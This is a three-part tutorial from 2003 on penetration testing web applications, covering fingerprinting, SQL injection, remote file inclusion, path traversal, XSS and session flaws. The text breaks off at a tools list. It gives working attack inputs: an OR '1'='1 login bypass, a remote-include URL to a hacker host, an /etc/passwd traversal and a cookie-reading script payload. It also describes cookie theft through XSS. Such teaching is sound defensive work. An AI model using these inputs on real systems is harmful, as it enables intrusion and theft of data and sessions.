**Penetration Testing for Web Applications (Part One)**[Jody Melbourne and David Jorm](mailto:jodym@secureet.com) 2003-06-16

|  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| This is the first in a series of three articles on penetration testing for Web applications. The first installment provides the penetration tester with an overview of Web applications - how they work, how they interact with users, and most importantly how developers can expose data and systems with poorly written and secured Web application front-ends.  **Note:** It is assumed that the reader of this article has some knowledge of the HTTP protocol - specifically, the format of HTTP GET and POST requests, and the purpose of various header fields. This information is available in [RFC2616](http://www.ietf.org/rfc/rfc2616.txt).  Web applications are becoming more prevalent and increasingly more sophisticated, and as such they are critical to almost all major online businesses. As with most security issues involving client/server communications, Web application vulnerabilities generally stem from improper handling of client requests and/or a lack of input validation checking on the part of the developer.  The very nature of Web applications - their ability to collate, process and disseminate information over the Internet - exposes them in two ways. First and most obviously, they have total exposure by nature of being publicly accessible. This makes security through obscurity impossible and heightens the requirement for hardened code. Second and most critically from a penetration testing perspective, they process data elements from within HTTP requests - a protocol that can employ a myriad of encoding and encapsulation techniques.  Most Web application environments (including ASP and PHP, which will both be used for examples throughout the series), expose these data elements to the developer in a manner that fails to identify how they were captured and hence what kind of validation and sanity checking should apply to them. Because the Web "environment" is so diverse and contains so many forms of programmatic content, input validation and sanity checking is the key to Web applications security. This involves both identifying and enforcing the valid domain of every user-definable data element, as well as a sufficient understanding of the source of all data elements to determine what is potentially user definable.  The Root of the Issue: Input Validation  Input validation issues can be difficult to locate in a large codebase with lots of user interactions, which is the main reason that developers employ penetration testing methodologies to expose these problems. Web applications are, however, not immune to the more traditional forms of attack. Poor authentication mechanisms, logic flaws, unintentional disclosure of content and environment information, and traditional binary application flaws (such as buffer overflows) are rife. When approaching a Web application as a penetration tester, all this must be taken into account, and a methodical process of input/output or "blackbox" testing, in addition to (if possible) code auditing or "whitebox" testing, must be applied.  **What exactly is a Web application?**  A Web application is an application, generally comprised of a collection of scripts, that reside on a Web server and interact with databases or other sources of dynamic content. They are fast becoming ubiquitous as they allow service providers and their clients to share and manipulate information in an (often) platform-independent manner via the infrastructure of the Internet. Some examples of Web applications include search engines, Webmail, shopping carts and portal systems.  **How does it look from the users perspective?**  Web applications typically interact with the user via FORM elements and GET or POST variables (even a 'Click Here' button is usually a FORM submission). With GET variables, the inputs to the application can be seen within the URL itself, however with POST requests it is often necessary to study the source of form-input pages (or capture and decode valid requests) in order to determine the users inputs.  An example HTTP request that might be provided to a typical Web application is as follows:   |  |  | | --- | --- | | GET /sample.php?var=value&var2=value2 HTTP/1.1 | | HTTP-METHOD REQUEST-URI PROTOCOL/VERSION | | Session-ID: 361873127da673c | | Session-ID Header | | Host: www.webserver.com | | Host Header | | <CR><LF><CR><LF> | | Two carriage return line feeds |   Every element of this request can potentially be used by the Web application processing the request. The REQUEST-URI identifies the unit of code that will be invoked along with the query string: a separated list of &variable=value pairs defining input parameters. This is the main form of Web applications input. The Session-ID header provides a token identifying the client's established session as a primitive form of authentication. The Host header is used to distinguish between virtual hosts sharing the same IP address and will typically be parsed by the Web server, but is, in theory, within the domain of the Web application.  As a penetration tester you must use all input methods available to you in order to elicit exception conditions from the application. Thus, you cannot be limited to what a browser or automatic tools provide. It is quite simple to script HTTP requests using utilities like curl, or shell scripts using netcat. The process of exhaustive blackbox testing a Web application is one that involves exploring each data element, determining the expected input, manipulating or otherwise corrupting this input, and analysing the output of the application for any unexpected behaviour.  The Information Gathering Phase  **Fingerprinting the Web Application Environment**  One of the first steps of the penetration test should be to identify the Web application environment, including the scripting language and Web server software in use, and the operating system of the target server. All of these crucial details are simple to obtain from a typical Web application server through the following steps:   1. **Investigate the output from HEAD and OPTIONS http requests**   The header and any page returned from a HEAD or OPTIONS request will usually contain a SERVER: string or similar detailing the Web server software version and possibly the scripting environment or operating system in use.   OPTIONS / HTTP/1.0  HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Wed, 04 Jun 2003 11:02:45 GMT MS-Author-Via: DAV Content-Length: 0 Accept-Ranges: none DASL: <DAV:sql> DAV: 1, 2 Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK Cache-Control: private   1. **Investigate the format and wording of 404/other error pages**   Some application environments (such as ColdFusion) have customized and therefore easily recognizable error pages, and will often give away the software versions of the scripting language in use. The tester should deliberately request invalid pages and utilize alternate request methods (POST/PUT/Other) in order to glean this information from the server.  Below is an example of a ColdFusion 404 error page:  ColdFusion 404 error page   1. **Test for recognised file types/extensions/directories**   Many Web services (such as Microsoft IIS) will react differently to a request for a known and supported file extension than an unknown extension. The tester should attempt to request common file extensions such as .ASP, .HTM, .PHP, .EXE and watch for any unusual output or error codes.   GET /blah.idq HTTP/1.0  HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Wed, 04 Jun 2003 11:12:24 GMT Content-Type: text/html  <HTML>The IDQ file blah.idq could not be found.   1. **Examine source of available pages**   The source code from the immediately accessible pages of the application front-end may give clues as to the underlying application environment.   <title>Home Page</title> <meta content="Microsoft Visual Studio 7.0" name="GENERATOR"> <meta content="C#" name="CODE\_LANGUAGE"> <meta content="JavaScript" name="vs\_defaultClientScript">  In this situation, the developer appears to be using MS Visual Studio 7. The underlying environment is likely to be Microsoft IIS 5.0 with .NET framework.   1. **Manipulate inputs in order to elicit a scripting error**   In the example below the most obvious variable (ItemID) has been manipulated to fingerprint the Web application environment:   1. **TCP/ICMP and Service Fingerprinting** Using traditional fingerprinting tools such as [Nmap](http://www.insecure.org/nmap/) and Queso, or the more recent application fingerprinting tools [Amap](http://www.thc.org/releases.php) and [WebServerFP](http://www.astralclinic.com/), the penetration tester can gain a more accurate idea of the underlying operating systems and Web application environment than through many other methods. NMAP and Queso examine the nature of the host's TCP/IP implementation to determine the operating system and, in some cases, the kernel version and patch level. Application fingerprinting tools rely on data such as Server HTTP headers to identify the host's application software.   **Hidden form elements and source disclosure**  In many cases developers require inputs from the client that should be protected from manipulation, such as a user-variable that is dynamically generated and served to the client, and required in subsequent requests. In order to prevent users from seeing and possibly manipulating these inputs, developers use form elements with a HIDDEN tag. Unfortunately, this data is in fact only hidden from view on the rendered version of the page - not within the source.  There have been numerous examples of poorly written ordering systems that would allow users to save a local copy of order confirmation pages, edit HIDDEN variables such as price and delivery costs, and resubmit their request. The Web application would perform no further authentication or cross-checking of form submissions, and the order would be dispatched at a discounted price!   <FORM METHOD="LINK" ACTION="/shop/checkout.htm"> <INPUT TYPE="HIDDEN" name="quoteprice" value="4.25">Quantity: <INPUT TYPE="text" NAME="totalnum"> <INPUT TYPE="submit" VALUE="Checkout"> </FORM>  This practice is still common on many sites, though to a lesser degree. Typically only non-sensitive information is contained in HIDDEN fields, or the data in these fields is encrypted. Regardless of the sensitivity of these fields, they are still another input to be manipulated by the blackbox penetration tester.  All source pages should be examined (where feasible) to determine if any sensitive or useful information has been inadvertently disclosed by the developer - this may take the form of active content source within HTML, pointers to included or linked scripts and content, or poor file/directory permissions on critical source files. Any referenced executables and scripts should be probed, and if accessible, examined.  Javascript and other client-side code can also provide many clues as to the inner workings of a Web application. This is critical information when blackbox testing. Although the whitebox (or 'code-auditing') tester has access to the application's logic, to the blackbox tester this information is a luxury which can provide for further avenues of attack. For example, take the following chunk of code:   <INPUT TYPE="SUBMIT" onClick=" if (document.forms['product'].elements['quantity'].value >= 255) {    document.forms['product'].elements['quantity'].value='';    alert('Invalid quantity');    return false; } else {    return true; } ">  This suggests that the application is trying to protect the form handler from quantity values of 255 of more - the maximum value of a tinyint field in most database systems. It would be trivial to bypass this piece of client-side validation, insert a long integer value into the 'quantity' GET/POST variable and see if this elicits an exception condition from the application.  **Determining Authentication Mechanisms**  One of the biggest shortcomings of the Web applications environment is its failure to provide a strong authentication mechanism. Of even more concern is the frequent failure of developers to apply what mechanisms are available effectively. It should be explained at this point that the term Web applications environment refers to the set of protocols, languages and formats - HTTP, HTTPS, HTML, CSS, JavaScript, etc. - that are used as a platform for the construction of Web applications. HTTP provides two forms of authentication: *Basic* and *Digest*. These are both implemented as a series of HTTP requests and responses, in which the client requests a resource, the server demands authentication and the client repeats the request with authentication credentials. The difference is that *Basic* authentication is clear text and *Digest* authentication encrypts the credentials using a nonce (time sensitive hash value) provided by the server as a cryptographic key.  Besides the obvious problem of clear text credentials when using *Basic*, there is nothing inherently wrong with HTTP authentication, and this clear-text problem be mitigated by using HTTPS. The real problem is twofold. First, since this authentication is applied by the Web server, it is not easily within the control of the Web application without interfacing with the Web server's authentication database. Therefore custom authentication mechanisms are frequently used. These open a veritable Pandora's box of issues in their own right. Second, developers often fail to correctly assess every avenue for accessing a resource and then apply authentication mechanisms accordingly.  Given this, penetration testers should attempt to ascertain both the authentication mechanism that is being used and how this mechanism is being applied to every resource within the Web application. Many Web programming environments offer session capabilities, whereby a user provides a cookie or a Session-ID HTTP header containing a psuedo-unique string identifying their authentication status. This can be vulnerable to attacks such as brute forcing, replay, or re-assembly if the string is simply a hash or concatenated string derived from known elements.  Every attempt should be made to access every resource via every entry point. This will expose problems where a root level resource such as a main menu or portal page requires authentication but the resources it in turn provides access to do not. An example of this is a Web application providing access to various documents as follows. The application requires authentication and then presents a menu of documents the user is authorised to access, each document presented as a link to a resource such as:   http://www.server.com/showdoc.asp?docid=10  Although reaching the menu requires authentication, the showdoc.asp script requires no authentication itself and blindly provides the requested document, allowing an attacker to simply insert the docid GET variable of his desire and retrieve the document. As elementary as it sounds this is a common flaw in the wild.  **Conclusions**  In this article we have presented the penetration tester with an overview of web applications and how web developers obtain and handle user inputs. We have also shown the importance of fingerprinting the target environment and developing an understanding of the back-end of an application. Equipped with this information, the penetration tester can proceed to targeted vulnerability tests and exploits. The next installment in this series will introduce code and content-manipulation attacks, such as PHP/ASP code injection, SQL injection, Server-Side Includes and Cross-site scripting. |

**Penetration Testing for Web Applications (Part Two)**  
[Jody Melbourne and David Jorm](mailto:jodym@secureet.com) 2003-07-03

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Our [first article](http://www.securityfocus.com/infocus/1704) in this series covered user interaction with Web applications and explored the various methods of HTTP input that are most commonly utilized by developers. In this second installment we will be expanding upon issues of input validation - how developers routinely, through a lack of proper input sanity and validity checking, expose their back-end systems to server-side code-injection and SQL-injection attacks. We will also investigate the client-side problems associated with poor input-validation such as cross-site scripting attacks.  **The Blackbox Testing Method**  The blackbox testing method is a technique for hardening and penetration-testing Web applications where the source code to the application is not available to the tester. It forces the penetration tester to look at the Web application from a user's perspective (and therefore, an attacker's perspective). The blackbox tester uses fingerprinting methods (as discussed in [Part One](http://www.securityfocus.com/infocus/1704) of this series) to probe the application and identify all expected inputs and interactions from the user. The blackbox tester, at first, tries to get a 'feel' for the application and learn its expected behavior. The term blackbox refers to this Input/UnknownProcess/Output approach to penetration testing.  The tester attempts to elicit exception conditions and anomalous behavior from the Web application by manipulating the identified inputs - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected reaction from the Web application is noted and investigated. This may take the form of scripting error messages (possibly with snippets of code), server errors (HTTP 500), or half-loaded pages.  Figure 1 - Blackbox testing GET variables **Figure 1 - Blackbox testing GET variables**  Any strange behavior on the part of the application, in response to strange inputs, is certainly worth investigating as it may mean the developer has failed to validate inputs correctly!  **SQL Injection Vulnerabilities**  Many Web application developers (regardless of the environment) do not properly strip user input of potentially "nasty" characters before using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.  **Locating SQL Injection Vulnerabilities**  Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application inputs and inserting special characters. With many of the popular backends, informative errors pages are displayed by default, which can often give clues to the SQL query in use: when attempting SQL injection attacks, you want to learn as much as possible about the syntax of database queries.  Figure 2 - Potential SQL injection vulnerability **Figure 2 - Potential SQL injection vulnerability**  Figure 3 - Another potential SQL injection hole **Figure 3 - Another potential SQL injection hole**  **Example: Authentication bypass using SQL injection**  This is one of the most commonly used examples of an SQL injection vulnerability, as it is easy to understand for non-SQL-developers and highlights the extent and severity of these vulnerabilities. One of the simplest ways to validate a user on a Web site is by providing them with a form, which prompts for a username and password. When the form is submitted to the login script (eg. login.asp), the username and password fields are used as variables within an SQL query.  Examine the following code (using MS Access DB as our backend):  user = Request.form("user")  pass = Request.form("pass")  Set Conn = Server.CreateObject("ADODB.Connection")  Set Rs = Server.CreateObject("ADODB.Recordset")  Conn.Open (dsn)  SQL = "SELECT C=COUNT(\*) FROM users where pass='" & pass & "' and user='" & user & "'"  rs.open (sql,conn) if rs.eof or rs.bof then  response.write "Database Error"  else  if rs("C") < 1 then  response.write "Invalid Credentials"  else  response.write "Logged In"  end if  end if  In this scenario, no sanity or validity checking is being performed on the user and pass variables from our form inputs. The developer may have client-side (eg. Javascript) checks on the inputs, but as has been demonstrated in the first part of this series, any attacker who understands HTML can bypass these restrictions. If the attacker were to submit the following credentials to our login script:  user: test' OR '1'='1 pass: test  the resulting SQL query would look as follows:  SELECT \* FROM users where pass='test' and user='test' OR '1' = '1'  In plain English, "access some data where user and pass are equal to 'test', or 1 is equal to 1." As the second condition is always true, the first condition is irrelevant, and the query data is returned successfully - in this case, logging the attacker into the application.  For recent examples of this class of vulnerability, please refer to <http://www.securityfocus.com/bid/4520> and <http://www.securityfocus.com/bid/4931>. Both of these advisories detail SQL authentication issues similar to the above.  **MS-SQL Extended stored procedures**  Microsoft SQL Server 7 supports the loading of extended stored procedures (a procedure implemented in a DLL that is called by the application at runtime). Extended stored procedures can be used in the same manner as database stored procedures, and are usually employed to perform tasks related to the interaction of the SQL server with its underlying Win32 environment. MSSQL has a number of built-in XSPs - most of these stored procedures are prefixed with an xp\_.  Some of the built-in functions useful to the MSSQL pen-tester:   |  |  | | --- | --- | | \* xp\_cmdshell | - execute shell commands | | \* xp\_enumgroups | - enumerate NT user groups | | \* xp\_logininfo | - current login info | | \* xp\_grantlogin | - grant login rights | | \* xp\_getnetname | - returns WINS server name | | \* xp\_regdeletekey | - registry manipulation | | \* xp\_regenumvalues |  | | \* xp\_regread |  | | \* xp\_regwrite |  | | \* xp\_msver | - SQL server version info |   A non-hardened MS-SQL server may allow the DBO user to access these potentially dangerous stored procedures (which are executed with the permissions of the SQL server instance - in many cases, with SYSTEM privileges).  There are many extended/stored procedures that should not be accessible to any user other than the DB owner. A comprehensive list can be found at MSDN: <http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_00_519s.asp>  A well-maintained guide to hardening MS-SQL Server 7 and 2000 can be found at SQLSecurity.com: <http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=3&tabid=4>  **PHP and MySQL Injection**  A vulnerable PHP Web application with a MySQL backend, despite PHP escaping numerous 'special' characters (with Magic\_Quotes enabled), can be manipulated in a similar manner to the above ASP application. MySQL does not allow for direct shell execution like MSSQL's xp\_cmdshell, however in many cases it is still possible for the attacker to append arbitrary conditions to queries, or use UNIONs and subselects to access or modify records in the database.  For more information on PHP/MySQL security issues, refer to <http://www.phpadvisory.com>. PHP/Mysql security issues are on the increase - reference phpMyshop (<http://www.securityfocus.com/bid/6746>) and PHPNuke (<http://www.securityfocus.com/bid/7194>) advisories.  **Code and Content Injection**  What is code injection? Code injection vulnerabilities occur where the output or content served from a Web application can be manipulated in such a way that it triggers server-side code execution. In some poorly written Web applications that allow users to modify server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject code in the scripting language of the application itself.  This vulnerability hinges upon the manner in which the application loads and passes through the contents of these manipulated files - if this is done before the scripting language is parsed and executed, the user-modified content may also be subject to parsing and execution.  **Example: A simple message board in PHP**  The following snippet of PHP code is used to display posts for a particular message board. It retrieves the messageid GET variable from the user and opens a file $messageid.txt under /var/www/forum:  <?php  include('/var/www/template/header.inc');  if (isset($\_GET['messageid']) && file\_exists('/var/www/forum/' . stripslashes($messageid) . '.txt') &&  is\_numeric($messageid)) {  include('/var/www/forum/' . stripslashes($messageid) . '.txt');  } else {  include('/var/www/template/error.inc');  }  include('/var/www/template/footer.inc');  ?>  Although the is\_numeric() test prevents the user from entering a file path as the messageid, the content of the message file is not checked in any way. (The problem with allowing unchecked entry of file paths is explained later) If the message contained PHP code, it would be include()'d and therefore executed by the server.  A simple method of exploiting this example vulnerability would be to post to the message board a simple chunk of code in the language of the application (PHP in this example), then view the post and see if the output indicates the code has been executed.  **Server Side Includes (SSI)**  SSI is a mechanism for including files using a special form of HTML comment which predates the include functionality of modern scripting languages such as PHP and JSP. Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or re-usable elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not the scripting language, so if SSI tags can be injected at the time of script execution these will often be accepted and parsed by the Web server. Methods of attacking this vulnerability are similar to those shown above for scripting language injection. SSI is rapidly becoming outmoded and disused, so this topic will not be covered in any more detail.  **Miscellaneous Injection**  There are many other kinds of injection attacks common amongst Web applications. Since a Web application primarily relies upon the contents of headers, cookies and GET/POST variables as input, the actions performed by the application that is driven by these variables must be thoroughly examined. There is a potentially limitless scope of actions a Web application may perform using these variables: open files, search databases, interface with other command systems and, as is increasingly common in the Web services world, interface with other Web applications. Each of these actions requires its own syntax and requires that input variables be sanity-checked and validated in a unique manner.  For example, as we have seen with SQL injection, SQL special characters and keywords must be stripped. But what about a Web application that opens a serial port and logs information remotely via a modem? Could the user input a modem command escape string, cause the modem to hangup and redial other numbers? This is merely one example of the concept of injection. The critical point for the penetration tester is to understand what the Web application is doing in the background - the function calls and commands it is executing - and whether the arguments to these calls or strings of commands can be manipulated via headers, cookies and GET/POST variables.  **Example: PHP fopen()**  As a real world example, take the widespread PHP fopen() issue. PHP's file-open fopen() function allows for URLs to be entered in the place of a filename, simplifying access to Web services and remote resources. We will use a simple portal page as an example:  URL: http://www.example.com/index.php?file=main  <?php  include('/var/www/template/header.inc');  if (isset($\_GET['file']) {  $fp = fopen("$file" . ".html","r");  } else {  $fp = fopen("main.html", "r");  }  include('/var/www/template/footer.inc');  ?>  The index.php script includes header and footer code, and fopen()'s the page indicated by the file GET variable. If no file variable is set, it defaults to main.html. The developer is forcing a file extension of .html, but is not specifying a directory prefix. A PHP developer inspecting this code should notice immediately that it is vulnerable to a directory traversal attack, as long as the filename requested ends in .html (See below).  However, due to fopen()'s URL handling features, an attacker in this case could submit:  http://www.example.com/index.php?file=http://www.hackersite.com/main  This would force the example application to fopen() the file main.html at www.hackersite.com. If this file were to contain PHP code, it would be incorporated into the output of the index.php application, and would therefore be executed by the server. In this manner, an attacker is able to inject arbitrary PHP code into the output of the Web application, and force server-side execution of the code of his/her choosing.  W-Agora forum was recently found to have such a vulnerability in its handling of user inputs that could result in fopen() attacks - refer to <http://www.securityfocus.com/bid/6463> for more details. This is a perfect example of this particular class of vulnerability.  Many skilled Web application developers are aware of current issues such as SQL injection and will use the many sanity-checking functions and command-stripping mechanisms available. However, once less common command systems and protocols become involved, sanity-checking is often flawed or inadequate due to a lack of comprehension of the wider issues of input validation.  **Path Traversal and URIs**  A common use of Web applications is to act as a wrapper for files of Web content, opening them and returning them wrapped in chunks of HTML. This can be seen in the above sample for code injection. Once again, sanity checking is the key. If the variable being read in to specify the file to be wrapped is not checked, a relative path can be entered.  Copying from our misc. code injection example, if the developer were to fail to specify a file suffix with fopen():  fopen("$file" , "r");  ...the attacker would be able to traverse to any file readable by the Web application.  http://www.example.com/index.php?file=../../../../etc/passwd  This request would return the contents of /etc/passwd unless additional stripping of the path character (/.) had been performed on the file variable.  This problem is compounded by the automatic handling of URIs by many modern Web scripting technologies, including PHP, Java and Microsoft's .NET. If this is supported on the target environment, vulnerable applications can be used as an open relay or proxy:  http://www.example.com/index.php?file=http://www.google.com/  This flaw is one of the easiest security issues to spot and rectify, although it remains common on smaller sites whose application code performs basic content wrapping. The problem can be mitigated in two ways. First, by implementing an internal numeric index to the documents or, as in our message board code, using files named in numeric sequence with a static prefix and suffix. Second, by stripping any path characters such as [/\.] which attackers could use to access resources outside of the application's directory tree.  **Cross Site Scripting**  Cross Site Scripting attacks (a form of content-injection attack) differs from the many other attack methods covered in this article in that it affects the client-side of the application (ie. the user's browser). Cross Site Scripting (XSS) occurs wherever a developer incorrectly allows a user to manipulate HTML output from the application - this may be in the result of a search query, or any other output from the application where the user's input is displayed back to the user without any stripping of HTML content.  A simple example of XSS can be seen in the following URL:  http://server.example.com/browse.cfm?categoryID=1&name=Books  In this example the content of the 'name' parameter is displayed on the returned page. A user could submit the following request:  http://server.example.com/browse.cfm?categoryID=1&name=<h1>Books  If the characters < > are not being correctly stripped or escaped by this application, the "<h1>" would be returned within the page and would be parsed by the browser as valid html. A better example would be as follows:  http://server.example.com/browse.cfm?categoryID=1&name=<script>alert(document.cookie);</script>  In this case, we have managed to inject Javascript into the resulting page. The relevant cookie (if any) for this session would be displayed in a popup box upon submitting this request.  This can be abused in a number of ways, depending on the intentions of the attacker. A short piece of Javascript to submit a user's cookie to an arbitrary site could be placed into this URL. The request could then be hex-encoded and sent to another user, in the hope that they open the URL. Upon clicking the trusted link, the user's cookie would be submitted to the external site. If the original site relies on cookies alone for authentication, the user's account would be compromised. We will be covering cookies in more detail in part three of this series.  In most cases, XSS would only be attempted from a reputable or widely-used site, as a user is more likely to click on a long, encoded URL if the server domain name is trusted. This kind of attack does not allow for any access to the client beyond that of the affected domain (in the user's browser security settings).  For more details on Cross-Site scripting and it's potential for abuse, please refer to the CGISecurity XSS FAQ at <http://www.cgisecurity.com/articles/xss-faq.shtml>.  **Conclusion**  In this article we have attempted to provide the penetration tester with a good understanding of the issue of input validation. Each of the subtopics covered in this article are deep and complex issues, and could well require a series of their own to cover in detail. The reader is encouraged to explore the documents and sites that we have referenced for further information.  The final part of this series will discuss in more detail the concepts of sessions and cookies - how Web application authentication mechanisms can be manipulated and bypassed. We will also explore the issue of traditional attacks (such as overflows and logic bugs) that have plagued developers for years, and are still quite common in the Web applications world. |

**Penetration Testing for Web Applications (Part Three)**[Jody Melbourne and David Jorm](mailto:jodym@secureet.com) 2003-08-20

|  |
| --- |
| In the [first installment](http://www.securityfocus.com/infocus/1704) of this series we introduced the reader to web application security issues and stressed the significance of input validation. In the [second installment](http://www.securityfocus.com/infocus/1709), several categories of web application vulnerabilities were discussed and methods for locating these vulnerabilities were outlined. In this third and final article we will be investigating session security issues and cookies, buffer overflows and logic flaws, and providing links to further resources for the web application penetration tester.  **Cookies**  Cookies are a mechanism for maintaining persistent data on the client side of a HTTP exchange. They are not part of the HTTP specification, but are a de-facto industry standard based on a specification issued by Netscape. Cookies involve the use of HTTP header responses to set values on the client side, and in client requests to provide these values back to the server side. The value is set using a 'Set-Cookie' header and returned using a 'Cookie' header. Take the following example of an exchange of cookies. The client requests a resource, and receives in the headers of the response:  Set-Cookie: PASSWORD=g0d; path=/; expires=Friday, 20-Jul-03 23:23:23 GMT  When the client requests a resource in path "/" on this server, it sends:  Cookie: PASSWORD=g0d  The browser is responsible for storing and retrieving cookie values. In both Netscape and Internet Explorer this is done using small temporary files; the security of these mechanisms is beyond the scope of this article, we are more concerned with the problems with cookies themselves.  Cookies are often used to authenticate users to an application. If the user's cookie is stolen or captured, an attacker can impersonate that user. There have been numerous browser vulnerabilities in the past that allow attackers to steal known cookies -- for more information on client-side cookie security, please refer to the cross-site scripting section in [part two](http://www.securityfocus.com/infocus/1709) of this series.  Cookies should be treated by the developer as another form of user input and be subjected to the same validation routines. There have been numerous examples in the past of SQL injection and other vulnerabilities that are exploitable through manipulating cookie values. Refer to the [PHPNuke admin cookie SQL injection](http://www.securityfocus.com/bid/6890), and [Webware WebKit cookie overflow](http://www.securityfocus.com/bid/8349) vulnerabilities.  **Session Security and Session-IDs**  Most modern web scripting languages include mechanisms to maintain session state. That is, the ability to establish variables such as access rights and localization settings which will apply to every interaction a user has with the web application until they terminate their session. This is achieved by the web server issuing a pseudo-unique string to the client known as a Session ID. Then the server associates elements of data with this ID, and the client provides the ID with each subsequent request made to the application. Both PHP and ASP have in-built support for sessions, with PHP providing them via GET variables and Cookies, and ASP via Cookies only.  PHP's support for GET variable sessions is considered by all accounts an inferior mechanism, but is provided because not all browsers support cookies and not all users will accept cookies. Using this method, the Session ID is passed via a GET variable named PHPSESSID, provided in the query string of every request made. PHP automatically modifies all links at runtime to add the PHPSESSID to the link URL, thereby persisting state. Not only is this vulnerable to replay attacks (since the Session ID forms part of the URL), it trivializes it -- searching proxy logs, viewing browser histories or social engineering a user to paste you a URL as they see it (containing their Session ID) are all common methods of attack. Combine GET variable sessions with a cross site scripting bug and you have a simple way of forcing the disclosure of the Session ID. This is achieved by injecting javascript code which will post the document URL to a remote logging application, allowing the attacker to simply watch his logging application for the Session IDs to roll in.  The cookie method works in a similar manner, except the PHPSESSID (or Session-ID in the case of ASP) variable is persisted using a cookie rather than a GET variable. At a protocol level, this is just as dangerous as the GET method, as the Session ID can be logged, replayed or socially engineered. It is, however, obfuscated and more difficult to abuse as the Session ID is not embedded in the URL. The combination of cookies, sessions and a cross site scripting bug is just as dangerous, as the attacker need only post the document.cookie property to his logging application to extract the Session ID. Additionally, as a matter of convenience for the user, Session IDs are frequently set using cookies with either no expiry or a virtually infinite expiry date, such as a year from the present. This means that the cookie will always exist at the client side, and the window of opportunity will be indefinitely replayable as the cookie has no expiry date.  There are also many, albeit less common, forms of user session management. One technique is to embed the Session ID string in an <input type="hidden"> tag with a <form> element. Another is to use Session ID strings provided by the Apache webserver for user tracking purposes and as authentication tokens. The Apache project never intended these to be used for anything other than user tracking and statistical purposes and the algorithm is based on concatenation of known data elements on the server side. The details of Session ID bruteforcing and cryptographic hashing algorithms are beyond the scope of this article, but David Endler has provided a [good paper on this topic](http://www.cgisecurity.com/lib/SessionIDs.pdf) (.pdf) if you are interested in reading more.  Session IDs are very much an Achilles' Heel of web applications, as they are simply tack-ons to maintain state for HTTP -- an essentially stateless technology. The penetration tester should examine in detail the mechanism used to generate Session IDs, how the IDs are being persisted and how this can be combined with client-side bugs (such as cross site scripting) to facilitate replay attacks.  **Logic Flaws**  Logic flaws are a broad category of vulnerability encompassing most bugs which do not explicitly fall into another category. A logic flaw is a failure in the web application's logic to correctly perform conditional branching or apply security. For example, take the following snippet of PHP code:  <?php  $a=false;  $b=true;  $c=false;  if ($b && $c || $a && $c || $b)  echo "True";  else  echo "False";  ?>  The above code is attempting to ensure that two out of the three variables are set before returning true. The logic flaw exists in that, given the operator precedence present in PHP, simply having $b equal to true will cause the if statement to succeed. This can be patched by replacing the if statement with either of the following:  if ($b && $c || $a && ($c || $b))  if ($b && $c || $a && $c || $a && $b)  Logic flaws are difficult to identify from a blackbox testing perspective, and they more commonly make themselves apparent as a result of testing for another kind of vulnerability. A comprehensive code audit where the conditional branching logic is reviewed for adherence to program specification is the most effective way to trap logic flaws. An example of a logic flaw issue is the [SudBox Boutique login bypass vulnerability](http://www.securityfocus.com/bid/7651).  **Binary Attacks**  Web applications developed in a language that employs static buffers (such as C/C++) may be vulnerable to traditional binary attacks such as format string bugs and buffer overflows. Although code and content manipulation issues (such as SQL and PHP code injection) are more common, there have been numerous cases in the past of popular web applications with overflow vulnerabilities.  A buffer overflow occurs when a program attempts to store more data in a static buffer than intended. The additional data overwrites and corrupts adjacent blocks of memory, and can allow an attacker to take control of the flow of execution and inject arbitrary instructions. Overflow vulnerabilities are more commonly found in applications developed in the C/C++ language; newer languages such as C# provide additional stack protection for the careless developer. Recent examples of overflows in web applications include [mnoGoSearch](http://www.securityfocus.com/bid/7866) and [Oracle E-Business Suite](http://www.securityfocus.com/bid/8269).  Buffer overflows can often be located through black-box testing by feeding increasingly larger values into form inputs, header and cookie fields. In the case of ISAPI applications, a 500 error message (or time-out) in response to a large input may indicate a segmentation fault at the server side. The environment should first be fingerprinted to determine if the development language is prone to overflow attacks as overflows are more common to compiled executables than scripted applications. Note that most of the popular web development languages (Java, PHP, Perl, Python) are interpreted languages in which the interpreter handles all memory allocation.  Format string attacks occur when certain C functions process inputs containing formatting characters (%). The printf/fprint/sprintf, syslog() and setproctitle() functions are known to misbehave when dealing with formatting characters. In some cases, format string bugs can lead to an attacker gaining control over the flow of execution of a program. Refer to the [PWC.CGI vulnerability](http://www.securityfocus.com/bid/2505) for an example of this type of exploit in a web application.  **Useful Testing Tools**  A number of applications have been developed to assist the blackbox tester with locating web application vulnerabilities. While analysis of programmatic output is probably best accomplished by hand, a large portion of the blackbox testing methodology can be scripted and automated.  **AtStake WebProxy**  WebProxy sits between the client browser and the web application, capturing and decoding requests to allow the developer to analyze user interactions, study exploit techniques, and manipulate requests on-the-fly.  Home Page: <http://www.atstake.com/webproxy>  **SPIKE Proxy**  SPIKE proxy functions as a HTTP/HTTPS proxy and allows the blackbox tester to automate a number of web application vulnerability tests (including SQL injection, directory traversal and brute force attacks).  Home Page: <http://www.immunitysec.com/spike.html>  **WebserverFP**  WebserverFP is a HTTPD fingerprinting tool that uses values and formatting within server responses to determine the web server software in use.  Home Page: <http://www.astralclinic.com>  **KSES**  KSES is a HTML security filter written in PHP. It filters all 'nasty' HTML elements and helps to prevent input validation issues such as XSS and SQL injection attacks.  Home Page: <http://sourceforge.net/projects/kses>  **Mieliekoek.pl**  This tool, written by roelof@sensepost.com, will crawl through a collection of pages and scripts searching for potential SQL injection issues.  Download: <http://www.securityfocus.com/archive/101/257713>  **Sleuth**  